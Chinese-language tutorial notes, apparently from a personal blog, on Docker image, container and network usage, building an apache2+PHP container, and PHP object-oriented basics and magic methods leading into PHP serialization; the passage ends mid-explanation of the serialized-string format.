从仓库拉取镜像

要私人定制一个花里胡哨的ubuntu镜像,首先得有一个干净的基础镜像

1
docker pull <仓库名>:<标签>

这里仓库名一般就是操作系统名比如ubuntu,标签就是操作系统版本比如20.04

因为docker仓库一般以操作系统命名,其中的镜像文件一般以对应操作系统版本号命名

1
2
3
4
5
6
root@Executor:~# docker pull ubuntu:20.04
20.04: Pulling from library/ubuntu
d7bfe07ed847: Pull complete
Digest: sha256:fd92c36d3cb9b1d027c4d2a72c6bf0125da82425fc2ca37c414d4f010180dc19
Status: Downloaded newer image for ubuntu:20.04
docker.io/library/ubuntu:20.04
查看本地镜像列表
1
2
3
4
root@Executor:~# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu 20.04 20fffa419e3a 6 weeks ago 72.8MB
ansible/ubuntu14.04-ansible latest 4621d4fe2959 6 years ago 461MB
栏目 意义
RESPOSITORY 镜像仓库源
TAG 镜像标签
IMAGE ID 镜像ID
CREATED 镜像创建时间
SIZE 镜像大小

可以使用仓库源:镜像标签来指定一个唯一的镜像,也可以直接使用镜像ID指定一个唯一的镜像

删除本地镜像
1
docker rmi <镜像>

这里镜像或者是仓库原:镜像标签指定,或者是镜像ID指定

甚至不用输全信息就可以指定唯一一个镜像

比如只输入镜像ID的前两位或者前三位

1
2
3
4
5
6
7
8
9
10
root@Executor:~# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu 20.04 20fffa419e3a 6 weeks ago 72.8MB
ubuntu 18.04 5a214d77f5d7 9 months ago 63.1MB
ansible/ubuntu14.04-ansible latest 4621d4fe2959 6 years ago 461MB
root@Executor:~# docker rmi 5a
Untagged: ubuntu:18.04
Untagged: ubuntu@sha256:0fedbd5bd9fb72089c7bbca476949e10593cebed9b1fb9edf5b79dbbacddd7d6
Deleted: sha256:5a214d77f5d747e6ed81632310baa6190301feeb875cf6bf9da560108fa09972
Deleted: sha256:824bf068fd3dc3ad967022f187d85250eb052f61fe158486b2df4e002f6f984e

这里使用ubuntu:18.04镜像的ID号删除,只需要指定前2位

正在被引用的镜像不能被删除(该镜像有运行容器时不能删除)

创建镜像
1
docker commit

在一个ubuntu20.04的容器中(不是wsl中,是wsl的docker容器中)安装ssh之后创建镜像,然后使用新镜像创建容器,看看ssh还有没有

1
2
root@Executor:/home/docker# docker commit -m="ssh" -a="dustball" 49e5c3d8f7c6 ssh/ubuntu
sha256:886ba4c00ba4b506eb6070d729ff9282a5220717153f3fb8a1f20e7b9f69a236

-m提交描述信息

-a指定作者

ssh/ubuntu:镜像名称

sha256码表明镜像创建完毕,使用docker images观察本地所有镜像

1
2
3
4
root@Executor:/home/docker# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ssh/ubuntu latest 886ba4c00ba4 27 seconds ago 235MB
ubuntu 20.04 20fffa419e3a 6 weeks ago 72.8MB

新镜像ssh/ubuntu显然比安装ssh之前的镜像ubuntu大好多

用新镜像创建容器并尝试运行ssh,发现是有的

1
2
3
4
5
6
7
8
9
root@Executor:/home/docker# docker run -it ssh/ubuntu bash
root@2e155d040460:/# ssh
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]
1
2
patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /home/kali/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 target_file

1
2
$ patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /home/kali/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 test

docker容器的使用

创建/删除容器

创建容器

1
docker create [启动选项] <镜像> [命令行] 

比如创建一个终端上交互启动,默认自动执行/bin/bash命令的ubuntu:20.04容器

1
2
3
4
root@Executor:~# docker create -t -i ubuntu:20.04 /bin/bash
e94cf81e102f33880cc1e21d9e50985eaac9927642d925009c4cadc761bb2d8c
root@Executor:~# docker ps -a | grep e94
e94cf81e102f ubuntu:20.04 "/bin/bash" 20 seconds ago Created quirky_chatelet

已经创建但是从未运行过的容器,其状态为"Created"

这里命令行的作用是,规定容器启动后要自动执行的命令

/bin/bash意思是启动后立刻执行/bin/bash这条命令,如果之前默认的shell是bash则无所谓,如果之前默认的shell是sh,tsh等等其他shell,则改为使用bash

关于"启动选项"和"命令行参数"

一定要分清两个东西,前者规定的是如何启动容器,后者规定的是启动后容器立刻自动干啥

删除容器前提是该容器没有被运行

1
docker rm <容器>

运行状态的容器需要强制删除

1
docker rm -f <容器>

删除所有容器

1
2
3
4
5
6
7
8
9
10
11
12
13
root@Executor:~# docker  rm $(docker ps -a -q)
e94cf81e102f
205041549d08
fa210e84dd67
bce56d6e5727
08142959bdde
dd33995e37ab
3a666c93b635
b458aa62f64c
85c3fa6b67d3
3519c8f7070f
79543801ed50
897a086a85f4

或者使用docker container prune

查看所有容器
1
docker ps -a
1
2
3
4
5
6
7
8
9
10
root@Executor:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
08142959bdde ubuntu:20.04 "bash" 21 minutes ago Exited (0) 18 minutes ago awesome_austin
dd33995e37ab ubuntu:20.04 "bash" 23 minutes ago Exited (0) 23 minutes ago festive_lamarr
3a666c93b635 ubuntu:20.04 "bash" 24 minutes ago Exited (129) 38 seconds ago quirky_kilby
b458aa62f64c ubuntu:20.04 "-t" 24 minutes ago Created angry_mclean
85c3fa6b67d3 ubuntu:20.04 "bash" 24 minutes ago Exited (0) 24 minutes ago quizzical_grothendieck
3519c8f7070f ubuntu:20.04 "bash" 25 minutes ago Exited (0) 25 minutes ago affectionate_kare
79543801ed50 ubuntu:20.04 "bash" 26 minutes ago Exited (0) 23 minutes ago sleepy_driscoll
897a086a85f4 ansible/ubuntu14.04-ansible "/bin/bash" 2 hours ago Exited (255) 2 hours ago friendly_bhaskara
栏目 意义 备注
CONTAINER ID 容器 注意不是镜像id,本地所有容器都有一个自己独特的id,用于区分和索引
IMAGE 镜像 容器是从哪个镜像创建的
COMMAND 命令行 create创建或者run创建并启动时的命令行参数
CREATED 创建时间 使用docker run创建该容器的时间
STATUS 状态 created(已创建)
restarting(重启中)
running(运行中)
removing(迁移中)
paused(暂停)
exited(停止)
dead(死亡)
PORTS 端口 容器的端口信息和使用的连接类型(tcp)
NAMES 名称 Docker自动给每个容器都起一个名字,格式是:形容词__名
awesome_austin
festive_lamarr
...
如果要人为给容器起名字,需要在docker run的命令行上加上--name=<名字>
运行/停止容器

容器用create创建之后不会执行,需要start命令执行

1
2
3
4
docker start [启动选项] <容器>
docker start [启动选项] <容器1> <容器2> ...
docker stop [停止选项] <容器>
docker stop [停止选项] <容器1><容器2> ...

启动选项要么是-a(attach),要么是-i(interactive)

对于stop(或者kill)指令,其停止选项可以是多长时间之后停止

关于"启动选项"和"命令行参数"

一定要分清两个东西,前者规定的是如何启动容器,后者规定的是启动后容器立刻自动干啥

ps -a列出的COMMAND栏目,这是docker create时指定的命令行参数,它告诉容器启动后自动做什么

而docker start的启动选项只有两种,-a或者-i,区别是:

-a只会将容器的标准输出绑定到当前终端,docker start -a <容器>执行后,这时候可以看到容器的输出root@容器id

但是尝试在终端输入什么命令,都不会有结果,但是终端也没有阻塞,可以一直输入.

这是因为-a启动的容器,其标准输入并没有绑定到终端,因此我们在终端的任何输入都没有发往容器.

也就是说我们可以从终端上接收docker容器的输出,但是没法给他输入

这貌似很奇怪,因为没有输入哪来的输出呢?

实际上可以在创建容器的时候指定命令行参数,让容器启动就自动执行一些命令,此时这些命令的输出就可以打印到终端

比如创建一个在后台自动每1秒执行一次打印"helloworld"的容器,然后用-a启动参数启动它,就可以看到它一直向终端输出helloworld

1
2
3
4
5
6
root@Executor:~# docker create ubuntu:20.04 /bin/sh -c "while true; do echo hello world; sleep 1; done"
167d2e45de172117166431467875f3e44f81a29fbaa1e786fecf2caf77227d25
root@Executor:~# docker start -a 167
hello world
hello world
...

-i会将容器的标准输入绑定到当前终端

使用docker start默认后台运行容器,该命令执行后终端环境还是在wsl中,相应容器已经在后台运行

如果想要让容器在前台与我们交互,可以使用-i启动选项(前提是,create创建容器的时候有加入-it选项,否则start使用-i选项无效)

即:

使用docker create -it <容器>这样创建的容器,使用docker start <容器>会在后台运行(即使没有长期任务也会一直运行),使用docker start -i <容器>会在前台交互.

使用docker create <容器>这样创建的容器,最多可以docker start -a <容器>绑定输出(前提是create时命令行上有长期的任务),但是docker start -i <容器>无效,如果创建容器时命令行上没有给容器指定一个长期的任务,那么后台运行的容器会立刻停止

创建+运行容器
1
docker run [OPTIONS] IMAGE [COMMAND] [ARG...]

其作用相当于

1
2
docker create [OPTIONS] <镜像> [COMMAND][ARG...]
docker start [OPTIONS] <容器>

OPTIONS是docker start 的启动选项啊

COMMAND是docker create的命令行参数

一定要分清两者

1
docker run -t -i <镜像> /bin/bash

这里镜像可以是镜像id,也可以是仓库源:镜像标签

-it一起用,意思是让docker分配一个伪终端,并绑定到容器的标准输入

说人话-t作用是加上root@容器号:这种命令提示,不用-t,只有-i也可以进行命令交互,但是不会有这种提示

后面命令行/bin/bash意思是,启动后自动运行bash(虽然默认也是运行的bash,但是可能有些容器默认运行sh),使用bash这个shell进行交互

1
2
root@Executor:~# docker run -t -i ubuntu:20.04
root@08142959bdde:/#

可以发现主机名已经由Executor编变成了容器的id号,现在的终端已经是docker内部环境了

这里容器id和镜像id不同,本地的每个容器都有一个不同的id

如果要退出容器到wsl,只需要在docker容器的终端中输入exit

1
2
3
4
root@Executor:~# docker run -t -i ubuntu:20.04
root@08142959bdde:/# exit
exit
root@Executor:~#

主机名又变回Executor说明目前已经在wsl中了

Exit命令执行后,该docker容器立刻停止.后来如果还想继续使用则需要在wsl中使用docker start命令

创建容器时Docker干了啥

image-20220722210940799

单从"桥接一个虚拟接口到容器",就知道物理机和docker容器在同一个网段

后台运行

刚才已经知道,直接用docker run -t -i ubuntu:20.04这种命令创建容器时,创建容器后终端环境是容器中环境,主机名会变成docker容器号

而现在只想让docker容器运行,但是终端依然是wsl的环境,不进入docker容器,应该咋整呢?

1
docker run -d <镜像> <命令行参数>
1
2
3
4
5
root@Executor:~# docker run -d -it ubuntu:20.04
fa210e84dd679b8402a78ca404988fe7ec031f0475385631f95fb497d764e86b
root@Executor:~# docker ps -a | grep fa21
fa210e84dd67 ubuntu:20.04 "bash" 12 seconds ago Up 12 seconds intelligent_austin
root@Executor:~#

可以发现,run -d创建容器并运行之后,终端上还是显示root@Executor表明仍然在wsl中,没有进到容器里

相当于docker create -it <容器>然后docker run <容器>

进入/退出容器

对于正在后台运行的容器,如果想要进入容器与之交互,需要使用

1
2
docker attach [选项] <正在运行的容器> [命令行]
docker exec [选项] <正在运行的容器>

两者的区别是,

使用attach进入容器,在容器中用exit退出时,容器会停止运行

使用exec进入容器,在容器中用exit退出时,容器会继续运行

由于在wsl中可以使用docker stop命令停止容器,因此只使用exec命令即可

1
2
3
4
5
6
7
8
9
root@Executor:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49e5c3d8f7c6 ubuntu:20.04 "bash" About an hour ago Up 9 minutes lucid_ramanujan
root@Executor:~# docker exec -it 49 bash
root@49e5c3d8f7c6:/# exit
exit
root@Executor:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49e5c3d8f7c6 ubuntu:20.04 "bash" About an hour ago Up 9 minutes lucid_ramanujan

退出容器使用exit,或者ctrl+d

导出/导入容器

将容器导出成tar包

1
docker export <容器> > <位置>

比如将49e5c3d8f7c6这个容器(已安装ssh)导出到当前目录

1
2
3
root@Executor:/home/docker# docker export 49 > ssh-ubuntu.tar
root@Executor:/home/docker# ls
ssh-ubuntu.tar

将tar包导入成镜像(不能直接导入成容器)

1
docker import [OPTIONS] <tar包> <镜像>

将tar包导入为指定名称的镜像

1
2
3
4
5
6
7
8
root@Executor:/home/docker# ls
ssh-ubuntu.tar
root@Executor:/home/docker# docker import ssh-ubuntu.tar ssh/ubuntu
sha256:725bf542d42fc0f7aad48f47ef2b81d1bcf7931bd1283a2b91ccbd3f8246e876
root@Executor:/home/docker# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ssh/ubuntu latest 725bf542d42f 5 seconds ago 234MB
ubuntu 20.04 20fffa419e3a 6 weeks ago 72.8MB

后面使用该镜像只需要docker run -it <镜像> bash

docker网络

参考

Docker 网络模式详解及容器间网络通信 - 知乎 (zhihu.com)

Docker:网络模式详解 - Gringer - 博客园 (cnblogs.com)

四个模式

host

docker容器与wsl共用ip地址,docker服务直接使用wsl的端口地址空间,外界可以通过ip:port方式访问docker容器

none

无网络链接

bridge

桥接模式,安装Docker时会为wsl创建一个叫做docker0的虚拟网桥

这个网桥只对桥接的docker容器还有wsl本身可见,作用是wsl和桥接容器之间的通信

两个接到同一网桥的容器或者容器和网桥之间均可以相互通信

对于容器来说,wsl上的网桥就相当于一个交换机

wsl:

1
2
3
4
5
6
7
8
9
root@Executor:~# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:d9ff:fedd:7c32 prefixlen 64 scopeid 0x20<link>
ether 02:42:d9:dd:7c:32 txqueuelen 0 (Ethernet)
RX packets 23965 bytes 1142407 (1.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 39791 bytes 118121373 (118.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

容器1:

1
2
3
4
5
6
7
8
root@2c98c979b54a:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.4 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:04 txqueuelen 0 (Ethernet)
RX packets 147 bytes 206651 (206.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 120 bytes 8092 (8.0 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

容器2:

1
2
3
4
5
6
7
8
root@7cf02bb435be:/var/www/html# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 6 bytes 516 (516.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wsl的docker0网卡,两个容器的eth0网卡,其IP地址都是172.17.0.X(实际上从子网掩码看出该网段的IP地址可以是172.17.X.X)

docker的桥接和虚拟机的桥接不同

虚拟机和主机桥接之后,虚拟机,主机,主机连接的路由器,都在同一网段

docker容器和docker主机的桥接,所有docker容器和docker主机的docker0网卡在同一网段,docker主机的另一张网卡eth0和路由器在同一网段

img

docker容器和docker0网桥相连使用了veth pair技术,每个容器的eth0都与docker0上的一个veth*(一个数字)配对,两个虚拟网卡组成数据通道,从一个进去必然从另一出来

说是"桥接",实际上相当于docker主机进行了一个NAT变换

所有容器的数据通过自己的虚拟网卡eth0发往docker主机的虚拟 网卡docker0,然后docker主机用"外网"网卡eth0上网(这里外网是相对于docker0虚拟网桥而言的,当然相对于路由器来说eth0还是"内网")

container

两个容器共享同一网络空间,包括ip地址和端口号

目前用不到,用到时再说

docker网络相关命令

1
docker network ...

查看网络模式

1
docker network list

列出三个默认的网络模式

1
2
3
4
5
root@Executor:~# docker network ls
NETWORK ID NAME DRIVER SCOPE
3ce19195196f bridge bridge local
c1341214f1d0 host host local
d4e52924ce6b none null local

目前只用到docker network list命令,其他需要以后再说

配置apache2+php环境

由于官方的镜像不能满足要求,我需要修改官方镜像创建满足我们要求的镜像

容器内基本配置

首先要从官方的镜像改造一个满足我们要求的镜像

这需要经历一个官方镜像->改造容器->导出新镜像的过程

拉取apache+php镜像

1
docker pull php:7.0-apache

创建临时容器

说他是"临时容器",是因为我们需要用这个基础镜像创建容器进行一些改造,然后生成我们需要的镜像

1
docker run -it php:7.0-apache bash

换docker容器的apt下载源

备份

备份原来的下载源

1
/etc/apt/sources.list /etc/apt/sources.list.bak
更新

更新下载源,由于此时没有vi没有vim,只能用cat等shell命令完成

换元之前先看一下容器的操作系统版本

1
2
root@06ca8ea43c1c:/var/www/html# cat /etc/issue
Debian GNU/Linux 9 \n \l

然后上网搜对应版本的国内源进行更换

适用于Debian GNU/LINUX 9的阿里云源:

1
2
3
4
5
6
7
8
9
10
cat > /etc/apt/sources.list << EOF
deb http://mirrors.aliyun.com/debian/ stretch main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ stretch main non-free contrib
deb http://mirrors.aliyun.com/debian-security stretch/updates main
deb-src http://mirrors.aliyun.com/debian-security stretch/updates main
deb http://mirrors.aliyun.com/debian/ stretch-updates main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ stretch-updates main non-free contrib
deb http://mirrors.aliyun.com/debian/ stretch-backports main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ stretch-backports main non-free contrib
EOF

配置网站

在该容器的网站根目录/var/www/html下面,写一个info.php,打印php信息作为测试

1
<?php phpinfo(); ?>

在系统根目录下写一个/start.sh

1
2
/etc/init.d/apache2 restart   
/usr/bin/tail -f /dev/null

第一条作用是启动apache2服务器,第二条作用是,让执行这条命令的容器一直有前台进程在忙,防止docker容器自动停止

安装ssh等其他可有可无的服务...

导出镜像

1
docker commit <容器> apache/ubuntu:latest

将该容器导出为一个叫"apache/ubuntu:latest"的容器

从新镜像创建新容器

现在使用docker run命令,从新apache/ubuntu:latest镜像上创建并启动新容器

1
docker run -dit -p 10011:80 apache/ubuntu:latest /bin/bash -c "/start.sh"

-d后台运行

-it启动交互终端

-p 10011:80,wsl的10011端口映射到容器的80端口

apache/ubuntu:latest我们自定义的镜像名

/bin/bash -c "/start.sh"命令行参数,启动后立刻自动执行

没有指定网络模式默认为桥接模式

没有指定端口上的传输层服务类型默认为TCP服务

1
2
3
4
5
root@Executor:~# docker run -dit -p 10011:80 apache/ubuntu /bin/bash -c "/start.sh"
edc1b61f6c7a20ce4d85989ffa4c5042dc13769161f4d89952604a8496b869d1
root@Executor:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
edc1b61f6c7a apache/ubuntu "docker-php-entrypoi…" 2 seconds ago Up 1 second 0.0.0.0:10011->80/tcp, :::10011->80/tcp friendly_northcutt

此时新容器就创建好了,可以看到PORTS栏目里面,wsl的10011端口已经映射给了docker的80端口,其上运行了一个tcp服务

访问容器

怎么访问这个容器呢?

访问这个容器就是访问wsl的10011号端口,可以使用ip:port方式进行访问

在wsl上使用ifconfig看一下wsl的ip地址是多少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@Executor:~# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:86ff:feaf:17dc prefixlen 64 scopeid 0x20<link>
ether 02:42:86:af:17:dc txqueuelen 0 (Ethernet)
RX packets 45 bytes 26682 (26.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 50 bytes 5382 (5.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.31.174.19 netmask 255.255.240.0 broadcast 172.31.175.255
inet6 fe80::215:5dff:fe99:9ce8 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:99:9c:e8 txqueuelen 1000 (Ethernet)
RX packets 613 bytes 86373 (86.3 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 304 bytes 90966 (90.9 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

发现wsl在windows主机NAT后面的ip地址是172.31.174.19

虽然wsl和windows主机之间的网络模式是NAT模式,与windows主机同路由器局域网内的其他设备是无法访问wsl的,

但是windows主机是可以访问wsl的,windows主机相对于wsl就是"外网环境",我们只需要在windows主机浏览器上访问172.31.174.19:10011

或者windows主机上curl 172.31.174.19:10011/info.php

image-20220724204301206

可以看见,windows主机是可以访问docker容器的apache2服务的

站在windows主机的角度,怎样看出这是一个docker容器提供的apache2服务,而不是wsl提供的apache2服务呢?

从该phpinfo的回显结果可以隐约看出这是一个docker容器提供的服务

image-20220724204601250

首先这个System名,谁会起一个edc1b61f6c7a作为主机名啊?这个数是一个docker容器id

1
2
3
root@Executor:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
edc1b61f6c7a apache/ubuntu "docker-php-entrypoi…" 12 minutes ago Up 11 minutes 0.0.0.0:10011->80/tcp, :::10011->80/tcp friendly_northcutt

其次,后面的configuration->apache2handler中

image-20220724204736232

这里ip地址和端口号均与wsl不一样,如果是wsl直接提供apache2服务,这里应是172.31.174.19:80

1
2
3
4
5
6
7
8
9
10
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse

php反序列化

反序列化unserialize和序列化serialize是一对互逆的操作

对象经过序列化成为字符串

满足条件的字符串经过反序列化成为对象

需要了解一下php面向对象

php面向对象基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Site {
/* 成员变量 */
var $domain;
var $title;

/* 成员函数 */
function setDomain($par){//setter方法
$this->domain = $par;
}

function getDomain(){//getter方法
return $this->domain;
}

function setTitle($par){
$this->title = $par;
}

function getTitle(){
return $this->title;
}
}
$mySite=new Site;//实例化
$mySite->setTitle("the empire");//调用成员函数
$mySite->setDomain("www.dustball.top");
echo $mySite->getDomain();
echo "<br>";
echo $mySite->getTitle();
?>

构造函数&析构函数

在使用new关键字实例化对象的时候,会自动调用构造函数,如果不显式声明则默认有一个啥也不干的缺省构造函数

当对象生命期结束时,系统自动执行其析构函数.如果不显式声明则默认有一个啥也不干的缺省析构函数

1
2
void __construct ([ mixed $args [, $... ]] )
void __destruct ( void )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Site
{
/* 成员变量 */
var $domain;
var $title;

/* 成员函数 */
function setDomain($par)
{
$this->domain = $par;
}

function getDomain()
{
return $this->domain;
}

function setTitle($par)
{
$this->title = $par;
}

function getTitle()
{
return $this->title;
}
function __construct($par1 = 0, $par2 = 0)
{//缺省参数
$this->domain = $par1;
$this->title = $par2;
print $this->title . " rise\n";
}
function __destruct()
{
print $this->title . " fall\n";
}
}
$mySite = new Site("deutschball.github.io", "the republic");
?>

运行结果

1
2
the republic rise
the republic fall

引用

php中,函数传参时,对象类型默认为引用传递

比如实现一个链表类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
class LinkedNode{
private $value;
private $next;
public function __construct($v=0,$n=NULL){
$this->value=$v;
$this->next=$n;
}
public function setValue($v=0){
$this->value=$v;
}
public function getValue(){
return $this->value;
}
public function setNext($n=NULL){
$this->next=$n;
}
public function getNext(){
return $this->next;
}

}
class LinkedList{
private $head;
public function __construct(){
$this->head=new LinkedNode(0,NULL);
}
public function isEmpty(){
if($this->head->getNext()==NULL)return true;
else return false;
}
public function insertHead($v){
$node=new LinkedNode($v,$this->head->getNext());
$this->head->setNext($node);
}
public function getHead(){
if($this->isEmpty())return NULL;
return $this->head->getNext()->getValue();
}
public function deleteHead(){
if($this->isEmpty())return false;
else{
$this->head->setNext($this->head->getNext()->getNext());
return true;
}
}
public function __invoke(){
$p=$this->head;
while($p->getNext()!=NULL){
$p=$p->getNext();
print $p->getValue()." ";
}
}
}
$linkedlist=new LinkedList;
for($i=1;$i<=10;++$i){
$linkedlist->insertHead($i);
}

$linkedlist();
while(!$linkedlist->isEmpty()){
print "\n";
$linkedlist->deleteHead();
$linkedlist();
}
?>

继承

继承关键字extends,php不支持多继承

1
2
3
class Child extends Parent {
// 代码部分
}

子类构造函数不会主动调用父类的构造函数,可以使用parent::__construct()显式调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
class Site
{
/* 成员变量 */
var $domain;
var $title;

/* 成员函数 */
function setDomain($par)
{
$this->domain = $par;
}

function getDomain()
{
return $this->domain;
}

function setTitle($par)
{
$this->title = $par;
}

function getTitle()
{
return $this->title;
}
function __construct($par1 = 0, $par2 = 0)
{
$this->domain = $par1;
$this->title = $par2;
print $this->title . " rise\n";
}
function __destruct()
{
print $this->title . " fall\n";
}
}
$mySite = new Site("deutschball.github.io", "the republic");
class Child_Site extends Site{
var $icon_domain;
function __construct($par1 = 0, $par2 = 0,$par3 =0)
{
parent::__construct($par1,$par2);//parent::指向父类成员
$this->icon_domain=$par3;
}
function __destruct()
{
parent::__destruct();
}
function setIconDomain($idomain){
$this->icon_domain=idomain;
}
function getIconDomain(){
return $this->icon_domain;
}
}
$ChildInstance=new Child_Site("dustball.top","the empire","https://raw.githubusercontent.com/DeutschBall/test/master/emp.png");
?>

魔术方法

PHP预留的以双下划线开头的类成员函数,它们是

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__serialize()__unserialize()__toString()__invoke()__set_state()__clone()__debugInfo()

__construct&&__destruct

只有在使用new关键字创建新对象的时候,__construct构造函数才会被自动调用

clone拷贝或者unserialize反序列化都不会调用__construc

__destruct由系统自动调用,发生在对象生命期结束时

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Site
{
var $domain;
var $title;

function __construct($par1 = 0, $par2 = 0)
{
$this->domain = $par1;
$this->title = $par2;
}

function __toString()
{
return "[".$this->title."=>".$this->domain."]";
}
}
$mySite = new Site("deutschball.github.io", "the republic");
print $mySite."\n";
?>

运行结果

1
[the republic=>deutschball.github.io]

__invoke()

1
__invoke( ...$values): mixed

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

相当于C++中的仿函数运算符operator ()

比如对于Site类的对象,直接当成函数调用的时候,访问域名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Site
{
var $domain;
var $title;

function __construct($par1 = 0, $par2 = 0)
{
$this->domain = $par1;
$this->title = $par2;
}

function __invoke()
{
header("Location:https://$this->domain");
}
}
$mySite = new Site("dustball.top", "the republic");
$mySite();

用浏览器访问本php文件,之后会跳转dustball.top

__serialize()&&__unserialize()

自定义序列化键值对数组(没有卵用)的函数

serialize() 函数会检查类中是否存在一个魔术方法 __serialize()

如果存在,该方法将在任何序列化之前优先执行

它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,

如果没有返回数组,将会抛出一个 TypeError 错误。

__serialize() 的预期用途是定义对象序列化友好的任意表示。 数组的元素可能对应对象的属性,但是这并不是必须的。

相反, unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。

此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Site
{
var $domain;
var $title;

function __construct($d = 0, $t = 0)
{
$this->domain = $d;
$this->title = $t;
}
function __serialize():array
{
print "__serialize acitved \n";
return [
'd' => $this->domain,//此处的键为'd',则__unserialize中的键也应该是'd',即$data['d']
't' => $this->title,
];

}
function __unserialize(array $data)
{
print "__unserialize actived \n";
$this->domain = $data['d'];
$this->title = $data['t'];
}
function __invoke()//方便打印观察,重载invoke函数
{
return "[".$this->title.",".$this->domain."]";
}

}
$mySite = new Site("dustball.top", "the republic");//实例化

$seri=serialize($mySite);//序列化,返回字符串用$seri存放
print $seri."\n";//打印观察serialize函数执行结果

$Site2=unserialize($seri);//反序列化,使用serivalize的结果作为输入

print $Site2();//观察反序列化得到的实例
?>

运行结果:

1
2
3
4
__serialize acitved 
O:4:"Site":2:{s:1:"d";s:12:"dustball.top";s:1:"t";s:12:"the republic";}
__unserialize actived
[the republic,dustball.top]

序列化得到的字符串含义

1
2
3
4
对象:类名长度4:类名"Site":两个成员:{
